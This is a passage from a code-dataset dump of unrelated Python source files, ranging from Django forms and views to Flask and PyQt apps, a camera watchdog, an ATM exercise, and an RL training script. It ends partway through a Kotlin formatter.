self.browser.find_element_by_id('id_new_item')\n self.assertEqual(\n inputbox.get_attribute('placeholder'),\n 'Wpisz rzecz do zrobienia'\n )\n \n inputbox.send_keys('Kupić książkę o C++')\n inputbox.send_keys(Keys.ENTER)\n \n table = self.browser.find_element_by_id('id_list_table')\n print(\"TABELA:\", table)\n rows = table.find_elements_by_tag_name('tr')\n print(\"ROWS:\", rows)\n self.assertTrue(\n any(row.text == '1: Kupić książkę do C++' for row in rows),\n \"New element doesn't appear in the list.\"\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"functional_tests.py","file_name":"functional_tests.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"230475681","text":"from django import forms\nfrom django.contrib.auth.forms import UserCreationForm, UserChangeForm, AuthenticationForm\n\nfrom .models import Question, Answer, User, Profile\n\nimport re\nfrom django.core.exceptions import ValidationError\n\n\nclass QuestionForm(forms.ModelForm):\n\n def __init__(self, *args, **kwargs):\n self.request = kwargs.pop('request', None)\n super(QuestionForm, self).__init__(*args, **kwargs)\n\n def save(self):\n question = super(QuestionForm, self).save(commit=False)\n question.author = self.request.user\n question.save()\n question.tags.set(self.request.POST.getlist('tags'))\n return question\n\n def clean(self):\n cleaned_data = super().clean()\n raw_title = cleaned_data['title']\n if re.fullmatch('^([a-z]|[A-Z])+[^\\n\\t\\r]+$', raw_title) is None:\n self.add_error(\n 'title',\n 'Start your title with letter and do not use \\\\n, \\\\t, \\\\r'\n )\n\n raw_text = cleaned_data['text']\n if re.match('^([a-z]|[A-Z])+(.|\\s)*$', raw_text) is None:\n self.add_error(\n 'text',\n 'Start your text with letter'\n )\n\n raw_tags = self.request.POST.getlist('tags')\n if len(raw_tags) > 10:\n self.add_error(\n 'tags',\n 'You can choose no more than 10 tags'\n )\n\n class Meta:\n model = Question\n fields = ('title', 'text', 'tags')\n\n\nclass AnswerForm(forms.ModelForm):\n text = forms.CharField(widget=forms.Textarea, required=True)\n\n def __init__(self, *args, **kwargs):\n self.request = kwargs.pop('request', None)\n self.question_id = kwargs.pop('question_id', None)\n super(AnswerForm, self).__init__(*args, **kwargs)\n\n def save(self):\n answer = super(AnswerForm, self).save(commit=False)\n answer.author = self.request.user\n answer.question = Question.objects.find_by_id(self.question_id)\n answer.save()\n return answer\n\n def clean(self):\n cleaned_data = super().clean()\n raw_text = cleaned_data['text']\n if re.match('^([a-z]|[A-Z])+(.|\\s)*$', raw_text) is None:\n self.add_error(\n 'text',\n 'Start your text with letter'\n )\n\n class Meta:\n model = Answer\n fields = ('text',)\n\n\nclass LoginForm(AuthenticationForm):\n username = forms.CharField()\n password = forms.CharField(widget=forms.PasswordInput)\n\n class Meta:\n fields = ('username', 'password')\n\n\nclass RegistrationForm(UserCreationForm):\n email = forms.EmailField(required=True, max_length=256)\n nickname = forms.CharField(required=True, max_length=256)\n avatar = forms.ImageField(required=False, label='Choose Avatar', widget=forms.FileInput(attrs={\n 'style': 'display: none;',\n }))\n\n def __init__(self, *args, **kwargs):\n self.FILES = kwargs.pop('FILES', None)\n super(RegistrationForm, self).__init__(*args, **kwargs)\n\n def save(self):\n user = super(RegistrationForm, self).save()\n user.refresh_from_db()\n user.profile.nickname = self.cleaned_data.get('nickname')\n if 'avatar' in self.FILES:\n user.profile.avatar = self.FILES['avatar']\n user.save()\n return user\n\n def clean(self):\n cleaned_data = super().clean()\n raw_nickname = cleaned_data['nickname']\n if re.fullmatch('^([a-z]|[A-Z])+\\S+$', raw_nickname) is None:\n self.add_error(\n 'nickname',\n 'Start your nickname with letter and do not use whitespace-characters'\n )\n\n class Meta:\n model = User\n fields = ('username', 'email', 'password1',\n 'password2', 'nickname', 'avatar')\n\n\nclass UserSettingsForm(forms.ModelForm):\n username = forms.CharField(required=True, max_length=256)\n email = forms.EmailField(required=True, max_length=256)\n\n class Meta:\n model = User\n fields = ('username', 'email')\n\n\nclass ProfileSettingsForm(forms.ModelForm):\n nickname = forms.CharField(required=True, max_length=256)\n avatar = forms.ImageField(required=False, label='Choose Avatar', widget=forms.FileInput(attrs={\n 'style': 'display: none;',\n }))\n\n def __init__(self, *args, **kwargs):\n self.user = kwargs.pop('user', None)\n self.FILES = kwargs.pop('FILES', None)\n super(ProfileSettingsForm, self).__init__(*args, **kwargs)\n\n def save(self):\n profile = super(ProfileSettingsForm, self).save(commit=False)\n profile.user = self.user\n if 'avatar' in self.FILES:\n profile.avatar = self.FILES['avatar']\n profile.save()\n return profile\n\n def clean(self):\n cleaned_data = super().clean()\n raw_nickname = cleaned_data['nickname']\n if re.fullmatch('^([a-z]|[A-Z])+\\S+$', raw_nickname) is None:\n self.add_error(\n 'nickname',\n 'Start your nickname with letter and do not use whitespace-characters'\n )\n\n class Meta:\n model = Profile\n fields = ('nickname', 'avatar')\n","sub_path":"askapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"301165066","text":"\n\nfilename_in = \"a.in\"\nfilename_out = \"a.out\"\n\nfilename_in = \"A-small-attempt0.in\"\nfilename_out = \"A-small-attempt0.out\"\n\nfilename_in = \"A-large.in\"\nfilename_out = \"A-large.out\"\n\n\nfileobj_in = open (filename_in , \"r\")\nfileobj_out = open (filename_out, \"w\")\n\nt = int (fileobj_in.readline ().strip ())\n\nidx_test_case = 0\n\nwhile idx_test_case < t:\n\n n = int (fileobj_in.readline ().strip ())\n \n digit_dict = {}\n number_dict = {}\n n_step = 1\n \n while True:\n \n sw_all_digits = True\n \n current_number = str (n * n_step)\n \n for digit_str in current_number:\n digit_dict[int (digit_str)] = True\n \n for digit_int in range (10):\n if digit_int not in digit_dict:\n sw_all_digits = False\n break\n\n if ((current_number in number_dict) and (not (sw_all_digits))) or (sw_all_digits):\n break\n \n number_dict[current_number] = True\n \n n_step = n_step + 1\n \n str_answer = \"INSOMNIA\"\n if sw_all_digits:\n str_answer = str (current_number)\n \n idx_test_case = idx_test_case + 1\n\n# print (\"Case #%d: \" + str_answer) % (idx_test_case, )\n fileobj_out.write ((\"Case #%d: \" + str_answer + \"\\n\") % (idx_test_case, ))\n \n\n\n#a = {}\n#\n#a[1] = 10\n#print a\n#print 1 in a \n#print 10 in a\n\nfileobj_in.close ()\nfileobj_out.close ()\n","sub_path":"codes/CodeJamCrawler/16_0_1/cjrr2046/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"127795188","text":"import pubchempy as pb\r\nfrom pandas import *\r\nimport csv\r\n\r\n\r\ndef get_compound(cid, emp_df):\r\n try :\r\n a = pb.get_compounds(cid, 'cid', as_dataframe=True)\r\n a['cid_x'] = Series('CID'+cid, index=a.index)\r\n return a\r\n except Exception:\r\n return emp_df\r\n\r\n\r\n\r\ndef read_sider_data():\r\n noise_amp = [] # an empty list to store the second column\r\n with open('resources/compoundSider.csv', 'r') as rf:\r\n reader = csv.reader(rf, delimiter=',')\r\n for row in reader:\r\n noise_amp.append(row[1])\r\n noise_amp = [x[3:len(x)] for x in noise_amp]\r\n a = get_compound(noise_amp[0],pandas.DataFrame(columns=['A']))\r\n empty_df = pandas.DataFrame(columns=a.columns)\r\n for cid in noise_amp[1:1430]:\r\n a = a.append(get_compound(cid,empty_df))\r\n print(a.shape)\r\n with open('resources/pubchem.csv', 'w+') as f:\r\n a.drop('record', axis=1).drop('atoms', axis=1).drop('bonds', axis=1).to_csv(f)\r\n return a.shape\r\n\r\n\r\nif __name__ == '__main__':\r\n print(read_sider_data())\r\n print(\"Hello\")\r\n","sub_path":"mypubchem.py","file_name":"mypubchem.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"152889594","text":"from flask import Flask, request, jsonify, make_response, send_file\nfrom flask_restful import Api, Resource\n\nfrom visual_search_engine.error import *\n\n__all__ = ['run']\n\napp = Flask('Visual Search Engine')\napi = Api(app)\nengine = None\n\n\n@app.errorhandler(404)\ndef not_found(exc=None):\n return make_response(jsonify(message='Not found ' + request.url), 404)\n\n\nclass Searcher(Resource):\n def get(self, n=1):\n try:\n results = engine.find_similar(request.data, n)\n img_urls = [api.url_for(ImageIndex, filename=result, _external=True) for result in results]\n return make_response(jsonify(results=img_urls), 200)\n except (ImageLoaderError, ImageSizeError) as exc:\n return make_response(jsonify(message=exc.message), 400)\n\n\nclass ImageIndex(Resource):\n def post(self, filename):\n try:\n engine.add_image_to_index(filename, request.data)\n return make_response(jsonify(message='Image added'), 201)\n except DuplicatedImageError as exc:\n return make_response(jsonify(message=exc.message), 409)\n except (ImageLoaderError, ImageSizeError) as exc:\n return make_response(jsonify(message=exc.message), 400)\n\n def get(self, filename):\n return send_file(engine.image_index.dir_path + filename, mimetype='image/gif')\n\n def delete(self, filename):\n try:\n engine.remove_image_from_index(filename)\n return make_response(jsonify(message='Image removed'), 200)\n except NoImageError as exc:\n return not_found()\n\n\napi.add_resource(Searcher, '/searcher', '/searcher/')\napi.add_resource(ImageIndex, '/index/')\n\n\ndef run(visual_search_engine, host='localhost', port=5000, debug=False):\n global engine\n engine = visual_search_engine\n app.run(host, port, debug)\n","sub_path":"visual_search_engine/visual_search_engine/rest.py","file_name":"rest.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"219538766","text":"import os\nimport sys\n\nfrom PyQt5 import QtWidgets, QtCore\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QPixmap, QStandardItemModel\n\nfrom xml_creator import xml_creator\nfrom xml_creator.gui_utils import ImageItem, XmlModel, XmlModelObject, \\\n XmlSizeObject\n\n\nclass XmlCreator(QtWidgets.QMainWindow, xml_creator.Ui_MainWindow):\n\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n self.folder_select_button.clicked.connect(self.list_folder)\n self.images_list.doubleClicked.connect(self.display_selected_item)\n self.add_to_model_button.clicked.connect(self.add_to_model)\n self.save_schema_button.clicked.connect(self.save_model)\n self.delete_object_button.clicked.connect(self.delete_field)\n self.label.mousePressEvent = self.mouse_press\n self.label.mouseReleaseEvent = self.mouse_release\n self.begin = QtCore.QPoint()\n self.end = QtCore.QPoint()\n self.current_object = None\n self.selected_item = None\n self.xml_model = XmlModel()\n self.tree_view_model = None\n\n def list_folder(self):\n try:\n folder_path = QtWidgets.QFileDialog.getExistingDirectoryUrl(\n self, 'Select folder').path()\n files = sorted(os.listdir(folder_path))\n self.images_list.clear()\n for file in files:\n path = os.path.join(folder_path, file)\n ImageItem(path, self.images_list)\n except FileNotFoundError:\n pass\n\n def display_selected_item(self):\n self.selected_item = self.images_list.selectedItems()[0]\n img = self.selected_item.image\n pixmap = QPixmap(img)\n self.xml_model = XmlModel()\n self.xml_model.filename = self.selected_item.image_name\n self.xml_model.folder = self.selected_item.image_folder\n self.selected_item: ImageItem\n shape = [int(img.width()),\n int(img.height()),\n int(img.depth())]\n size = XmlSizeObject(shape)\n self.xml_model.size = size\n self.label.setPixmap(pixmap)\n self.label.resize(pixmap.width(), pixmap.height())\n self.label.show()\n\n self.tree_view_model = QStandardItemModel(0, 4, parent=self)\n self.tree_view_model.setHeaderData(0, Qt.Horizontal, 'xmin')\n self.tree_view_model.setHeaderData(1, Qt.Horizontal, 'ymin')\n self.tree_view_model.setHeaderData(2, Qt.Horizontal, 'xmax')\n self.tree_view_model.setHeaderData(3, Qt.Horizontal, 'ymax')\n self.objects_list_view.setModel(self.tree_view_model)\n self.objects_list_view.show()\n\n def mouse_press(self, event):\n self.begin = event.pos()\n\n def mouse_release(self, event):\n self.end = event.pos()\n self.current_object = XmlModelObject(\n [min(self.begin.x(), self.end.x()),\n min(self.begin.y(), self.end.y()),\n max(self.begin.x(), self.end.x()),\n max(self.begin.y(), self.end.y())],\n name=self.types_box.currentText()\n )\n # self.xml_model.objects.append(self.current_object)\n self.point_coords_output.setText('start: {}, {}\\nend: {}, {}'.format(\n self.current_object.bbox[0], self.current_object.bbox[1],\n self.current_object.bbox[2], self.current_object.bbox[3]))\n\n def add_to_model(self):\n self.xml_model.objects.append(self.current_object)\n self.add_field_to_view_model(self.current_object.bbox)\n self.display_schema()\n\n def delete_field(self):\n if self.tree_view_model:\n index = self.objects_list_view.currentIndex().row()\n box = [int(self.tree_view_model.item(index, i).text()) for i in\n range(4)]\n if box:\n for field in self.xml_model.objects:\n if field.bbox == box:\n self.xml_model.objects.remove(field)\n self.tree_view_model.removeRow(index)\n self.objects_list_view.show()\n self.display_schema()\n\n def display_schema(self):\n self.schema_output.setText(self.xml_model.to_xml())\n\n def save_model(self):\n with open('1065dataset/annots/' + self.xml_model.filename.split('.')[0]\n + '.xml', 'w') as f:\n f.writelines(self.xml_model.to_xml())\n\n def add_field_to_view_model(self, box):\n self.tree_view_model.insertRow(0)\n self.tree_view_model.setData(self.tree_view_model.index(0, 0), box[0])\n self.tree_view_model.setData(self.tree_view_model.index(0, 1), box[1])\n self.tree_view_model.setData(self.tree_view_model.index(0, 2), box[2])\n self.tree_view_model.setData(self.tree_view_model.index(0, 3), box[3])\n self.objects_list_view.show()\n\n\ndef main():\n app = QtWidgets.QApplication(sys.argv)\n window_ = XmlCreator()\n window_.show()\n app.exec_()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"xml_creator/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":4988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"237709177","text":"from django.shortcuts import render\nfrom django.http import JsonResponse, HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Website\nfrom django.core import serializers\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.forms.models import model_to_dict\nimport json, re\nfrom .forms import WebsiteForm, WebsiteUpdateForm\nfrom sptools.serverpack import createvhosts, deletevhosts, installssl, dropdb, setphpconf\n\n@login_required(login_url='/login/')\ndef load_master(request):\n return render(request, 'layouts/master.html')\n\n@login_required(login_url='/login/')\ndef create_website(request):\n if request.method == 'POST':\n errors = {}\n postdata = json.loads(request.body.decode('utf-8'))\n form = WebsiteForm(postdata)\n if form.is_valid():\n w = form.save()\n try:\n domain = w.domain_set.create(name=form.cleaned_data[\"domain\"])\n extradata = None\n if postdata.get('wordpress'):\n extradata = {\n 'wpusername': form.cleaned_data[\"wpusername\"],\n 'wppassword': form.cleaned_data[\"wppassword\"],\n 'wpemail': form.cleaned_data[\"wpemail\"],\n 'wptitle': form.cleaned_data[\"wptitle\"]\n }\n createvhosts(w, extradata)\n return JsonResponse({'status': True, 'data': model_to_dict(w)})\n except Exception as e:\n w.delete()\n form.add_error(\"domain\", \"{}\".format(str(e)))\n return JsonResponse({'message': 'Validation errors occured.', 'errors': form.errors}, status=400)\n else:\n return JsonResponse({'message': 'Validation errors occured.', 'errors': form.errors}, status=400)\n else:\n return JsonResponse({'error': 'Bad request'}, status=400)\n\n@login_required(login_url='/login/')\ndef load_json(request):\n data = {\n 'websites': False,\n 'total': 0,\n 'nextPage': 1\n }\n searchQuery = request.GET.get('q')\n if searchQuery:\n websites_list = Website.objects.filter(name__contains=searchQuery).order_by('-pk').all()\n else:\n websites_list = Website.objects.order_by('-pk').all()\n\n if websites_list.count():\n page = request.GET.get('page', 1)\n paginator = Paginator(websites_list, 15)\n try:\n websites = paginator.page(page)\n except PageNotAnInteger:\n websites = paginator.page(1)\n except EmptyPage:\n websites = paginator.page(paginator.num_pages)\n\n allsites = []\n for website in websites:\n allsites.append(model_to_dict(website))\n\n if websites.has_next():\n nextPage = websites.next_page_number()\n else:\n nextPage = page\n\n data = {\n 'websites': allsites,\n 'total': paginator.count,\n 'next_page': nextPage,\n 'hasMore': websites.has_next()\n }\n return JsonResponse(data)\n\n\n@login_required\ndef delete_website(request, websiteId):\n w = Website.objects.filter(pk=websiteId).get()\n try:\n # Delete vhost\n deletevhosts(w)\n # Drop databases\n dbs = w.database_set.all()\n for db in dbs:\n dropdb(db)\n db.user.delete()\n db.delete()\n w.delete()\n return JsonResponse({'status': True})\n except Exception as e:\n return JsonResponse({'status': False, 'msg': str(e)}, status=400)\n\n@login_required\ndef provisionssl(request, websiteId):\n w = Website.objects.filter(pk=websiteId).get()\n if(w):\n try:\n installssl(w)\n return JsonResponse({'success': True})\n except:\n return JsonResponse({'success': False}, status=400)\n return JsonResponse({'success': True}, status=404)\n\n@login_required\ndef websiteinfo(request, websiteId):\n try:\n w = Website.objects.filter(pk=websiteId).get()\n return JsonResponse({'website': model_to_dict(w)})\n except:\n return JsonResponse({'success': False}, status=404)\n\n@login_required\ndef updatephpversion(request, websiteId):\n try:\n w = Website.objects.filter(pk=websiteId).get()\n postdata = json.loads(request.body.decode('utf-8'))\n form = WebsiteUpdateForm(postdata, instance=w)\n if form.is_valid():\n form.save()\n setphpconf(w, apacheReload=True)\n return JsonResponse({'website': model_to_dict(w)})\n except:\n pass\n return JsonResponse({'success': form.errors}, status=400)\n","sub_path":"websites/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"336116663","text":"#!/usr/bin/env python3\n#Lucas Zanella\n#Reboots an ONVIF/RTSP camera if RTSP is down. VStarcam cameras suffer from this problem.\n\nimport rx\nfrom rx import operators as ops\nimport time\nfrom cameras import cams, Camera\nfrom pprint import pprint\nfrom functools import partial\nimport signal,sys,time\n\ndef signal_handling(signum,frame): \n sys.exit() \n\nsignal.signal(signal.SIGINT,signal_handling) \n\nQUERY_INTERVAL = 55\n\nimport datetime\nprint(str(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')) + ' ----------- rtspWatchdog started')\n\ncam_holder = {}\n\nclass Cam():\n cam = None\n watchdog = None\n buffer_signal = None\n stream = None\n repeater = None\n\ndef process_camera_condition(cam, condition):\n if cam.RTSP_UNHEALTHY in condition and cam.ONVIF_HEALTHY in condition:\n cam.log(\"REBOOTING!\")\n cam.camera.create_devicemgmt_service()\n cam.camera.devicemgmt.SystemReboot()\n if cam.RTSP_UNHEALTHY in condition and cam.ONVIF_UNHEALTHY in condition:\n cam.log(\"Both ONVIF and RTSP are down!\")\n if cam.RTSP_HEALTHY in condition and cam.ONVIF_UNHEALTHY in condition:\n cam.log(\"Very strange, RTSP is ok but not ONVIF\")\n if cam.RTSP_HEALTHY in condition and cam.ONVIF_UNHEALTHY in condition:\n #cam.log(\"Camera OK\")\n pass\n\ndef high_order_subscribe(watchdog,observable,disposable):\n return watchdog.subscribe(observable)\n\ndef high_order_return(o):\n return o\n\ndef high_order_log(logger_function, info):\n logger_function(info)\n return\n\nfor cam in cams:\n unique_id = str(cam.ip) + ':' + str(cam.onvif)\n cam_holder[unique_id] = Cam()\n c = cam_holder[unique_id]\n c.cam = cam\n\n c.watchdog = rx.subject.Subject()\n\n c.buffer_signal = rx.create(partial(high_order_subscribe, c.watchdog)).pipe(\n ops.filter(lambda x: x==Camera.COMPLETE_BUFFER)\n )\n\n c.stream = rx.create(partial(high_order_subscribe, c.watchdog)).pipe(\n ops.buffer_when(partial(high_order_return, c.buffer_signal))\n )\n\n c.buffer_signal.subscribe(\n on_next = lambda i: None,\n on_error = partial(high_order_log, cam.log_error),\n on_completed = lambda: None,\n )\n\n c.stream.subscribe(\n on_next = partial(process_camera_condition,c.cam),\n on_error = partial(high_order_log, cam.log_error),\n on_completed = lambda: None,\n )\n\n c.repeater = rx.interval(QUERY_INTERVAL).pipe(\n ops.do_action(partial(c.cam.watchdog,c.watchdog))\n )\n\n c.repeater.subscribe(\n on_next = lambda i: None,\n on_error = partial(high_order_log, cam.log_error),\n on_completed = lambda: None,\n )\n\nwhile True:\n pass","sub_path":"watchdog.py","file_name":"watchdog.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"137151149","text":"import datetime as dt\nfrom weather import phrases, webScrapping_weather\n\n\ndef get_forecast():\n forecast = webScrapping_weather.get_data()\n if forecast == \"No Internet\":\n return forecast\n all_forecast = []\n for weather, day in forecast:\n f = phrases.print_data(day, phrases.parse_data_to_numbers(weather))\n all_forecast.append(f)\n if day.hour + 3 <= 21:\n day = dt.datetime(day.year, day.month, day.day, day.hour + 6)\n else:\n try:\n day = dt.datetime(day.year, day.month, day.day + 1, 9)\n except:\n try:\n day = dt.datetime(day.year, day.month + 1, 1, 9)\n except:\n day = dt.datetime(day.year + 1, 1, 1, 9)\n \n return all_forecast\n\ndef get_weather_today(data, today):\n return_list = []\n for prediction in data:\n if prediction[0].day == today.day:\n return_list.append(prediction)\n return return_list\n\ndef get_weaher_per_day(data):\n return_list = []\n return_list.append([data[0]])\n for prediction in data:\n if return_list[0][0] == prediction:\n continue\n if return_list[len(return_list) - 1][0][0].day == prediction[0].day:\n return_list[len(return_list) - 1].append(prediction)\n else:\n return_list.append([prediction])\n return return_list\n \n\ndef arrange_data():\n forecast = get_forecast()\n if forecast == \"No Internet\":\n return forecast\n\n weather_per_day = get_weaher_per_day(forecast)\n\n return weather_per_day","sub_path":"weather/arrange_data.py","file_name":"arrange_data.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"96233603","text":"import os\nimport sys\n\nbasedir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(basedir)\n\n# 打印当前余额并让用户偿还账单\n\nfrom core import accounts\nfrom core import money_check\nfrom conf import settings\nfrom core import logger\n\n\ndef make_transaction(tran_type, account, money, *in_account):\n account_info = accounts.load_account_info(account) # 取出用户的信息\n currten_blance = account_info[\"balance\"] # 获取剩余的钱\n interest = settings.TRANSACTION_TYPE[tran_type]['interest']\n if tran_type in settings.TRANSACTION_TYPE:\n if tran_type == 'repay': # 还钱\n new_blance = currten_blance + money - interest # 剩余的钱加上还的钱\n account_info[\"balance\"] = new_blance\n print(\"当前余额为 %s, 还款后余额为 %s.\" % (currten_blance, new_blance))\n accounts.update_accout_info(account_info) # 更新账号信息\n elif tran_type == 'consume': # 消费接口\n if money_check.pay_check(account, money):\n new_blance = currten_blance - money - interest\n account_info[\"balance\"] = new_blance\n print(\"当前余额为 %s, 消费后余额为 %s.\" % (currten_blance, new_blance))\n accounts.update_accout_info(account_info) # 更新账号信息\n else:\n money_check.pay_check(account, money)\n print(\"钱不够,请还钱....\")\n return False\n elif tran_type == 'withdraw': # 取现\n withdraw_currten_blance = account_info[\"balance\"] / 2\n if money > withdraw_currten_blance:\n print(\"取现的额度不能大于剩余额度的50%\")\n return False\n elif money <= withdraw_currten_blance:\n new_blance = currten_blance - money - interest\n account_info[\"balance\"] = new_blance\n print(\"当前余额: %s, 取现后余额为: %s 手续费: %s.\" % (currten_blance, new_blance, interest))\n accounts.update_accout_info(account_info) # 更新账号信息\n elif tran_type == 'transfer': # 转账\n out_user = account\n in_user = in_account[0]\n if money_check.pay_check(out_user, money):\n out_user_info = accounts.load_account_info(out_user) # 读取转出用户的信息\n in_user_info = accounts.load_account_info(in_user) # 读取转入用户的信息\n out_currten_blance = out_user_info[\"balance\"] # 获取转出用户的钱数\n out_user_new_blance = out_currten_blance - money # 转出账号减钱\n in_currten_balnce = in_user_info[\"balance\"] # 获取转入用户的钱数\n in_user_new_blance = in_currten_balnce + money # 转入账号加钱\n out_user_info[\"balance\"] = out_user_new_blance # 重新定义转出账号信息\n in_user_info[\"balance\"] = in_user_new_blance # 重新定义转入账号信息\n print(\"%s 账户余额 %s, %s 账户余额 %s\" % (out_user, out_user_new_blance, in_user, in_user_new_blance))\n accounts.update_accout_info(out_user_info) # 写入文件\n accounts.update_accout_info(in_user_info) # 写入文件\n else:\n money_check.pay_check(account, money)\n print(\"我在transaction的transfer,钱不够\")\n return False\n logger.transaction(tran_type, account, money, interest, *in_account)\n return True\n else:\n print(\"不支持此类型的消费.\")\n return False\n\n\n# make_transaction(\"transfer\",\"tom\",2000,\"jerry\")","sub_path":"day5_161106/HomeWork/ATM/core/transaction.py","file_name":"transaction.py","file_ext":"py","file_size_in_byte":3709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"626314970","text":"# Copyright 2018 DeepMind Technologies Limited. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Example running SAC on continuous control tasks.\"\"\"\n\nfrom absl import flags\nfrom acme import specs\nfrom acme.agents.jax import normalization\nfrom acme.agents.jax import sac\nfrom acme.agents.jax.sac import builder\nimport helpers\nfrom absl import app\nfrom acme.jax import experiments\nfrom acme.utils import lp_utils\nimport launchpad as lp\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_bool(\n 'run_distributed', True, 'Should an agent be executed in a distributed '\n 'way. If False, will run single-threaded.')\nflags.DEFINE_string('env_name', 'gym:HalfCheetah-v2', 'What environment to run')\nflags.DEFINE_integer('seed', 0, 'Random seed.')\nflags.DEFINE_integer('num_steps', 1_000_000, 'Number of env steps to run.')\nflags.DEFINE_integer('eval_every', 50_000, 'How often to run evaluation.')\nflags.DEFINE_integer('evaluation_episodes', 10, 'Evaluation episodes.')\n\n\ndef build_experiment_config():\n \"\"\"Builds SAC experiment config which can be executed in different ways.\"\"\"\n # Create an environment, grab the spec, and use it to create networks.\n\n suite, task = FLAGS.env_name.split(':', 1)\n environment = helpers.make_environment(suite, task)\n\n environment_spec = specs.make_environment_spec(environment)\n network_factory = (\n lambda spec: sac.make_networks(spec, hidden_layer_sizes=(256, 256, 256)))\n\n # Construct the agent.\n config = sac.SACConfig(\n learning_rate=3e-4,\n n_step=2,\n target_entropy=sac.target_entropy_from_env_spec(environment_spec),\n input_normalization=normalization.NormalizationConfig())\n sac_builder = builder.SACBuilder(config)\n\n return experiments.ExperimentConfig(\n builder=sac_builder,\n environment_factory=lambda seed: helpers.make_environment(suite, task),\n network_factory=network_factory,\n seed=FLAGS.seed,\n max_num_actor_steps=FLAGS.num_steps)\n\n\ndef main(_):\n config = build_experiment_config()\n if FLAGS.run_distributed:\n program = experiments.make_distributed_experiment(\n experiment=config, num_actors=4)\n lp.launch(program, xm_resources=lp_utils.make_xm_docker_resources(program))\n else:\n experiments.run_experiment(\n experiment=config,\n eval_every=FLAGS.eval_every,\n num_eval_episodes=FLAGS.evaluation_episodes)\n\n\nif __name__ == '__main__':\n app.run(main)\n","sub_path":"examples/baselines/rl_continuous/run_sac.py","file_name":"run_sac.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"237630965","text":"from django.urls import path, re_path\nfrom . import views\n\nurlpatterns = [\n path('', views.Main, name='Main'),\n path('New/', views.News, name='New'),\n path('About/', views.About, name='About'),\n path('/', views.book_id, name = 'Book_id'),\n path('Auth/', views.book_loginView.as_view(), name = 'Auth'),\n path('By_novelty/', views.By_novelty, name = 'By_novelty'),\n path('By_author/', views.By_author, name = 'By_author'),\n path('By_comments/', views.By_comments, name = 'By_comments'),\n path('By_author//', views.id_author, name = 'id_author'),\n path ('Register/', views.book_userView.as_view(), name = 'Register' ),\n path ('Logout/', views.book_logOut.as_view(), name = 'Logout' ),\n path ('Add_book/', views.add_book.as_view(), name = 'add_book'),\n path('add_comment/', views.add_comment, name = 'add_comment')\n \n \n]","sub_path":"MY/Web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"172611090","text":"import numpy as np\nimport pickle\n\n# test data\ntest_x = np.linspace(1, 8, 20).reshape(-1, 1)\nprint(test_x.shape)\n\n# load model\nwith open('models/linear.model', 'rb') as f:\n model = pickle.load(f)\n\n# predict and print\npred_test_y = model.predict(test_x)\nprint(np.column_stack((test_x, pred_test_y)))","sub_path":"load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"536203308","text":"import argparse\nimport os\nimport re\n\n\nclass BracketsError(RuntimeError):\n\tdef __init__(self):\n\t\tpass\n\n\nclass KotlinPyFormatter:\n\t_indentSize = \" \" * 4\n\t_lineMaxLength = 80\n\t__leftBraceLines = list()\n\t__rightBraceLines = list()\n\n\tdef __splitLongLineByDot(self, line, indentation):\n\t\tresults = list()\n\t\tsplittedByDot = line.split('.')\n\t\tresults.append(self._indentSize * indentation + splittedByDot[0].strip())\n\t\tfor i, linePart in enumerate(splittedByDot):\n\t\t\tif i == 0:\n\t\t\t\tcontinue\n\t\t\tif splittedByDot[i - 1][-1] == \"?\":\n\t\t\t\tresults[-1] = results[-1][:-1]\n\t\t\t\tresults.append(self._indentSize * indentation + \"?.\" + linePart.strip())\n\t\t\telse:\n\t\t\t\tresults.append(self._indentSize * indentation + \".\" + linePart.strip())\n\t\treturn results\n\n\tdef __splitLongLineByComma(self, line, indentation):\n\t\tresults = list()\n\t\tsplittedByDot = line.split(',')\n\t\tfirst = 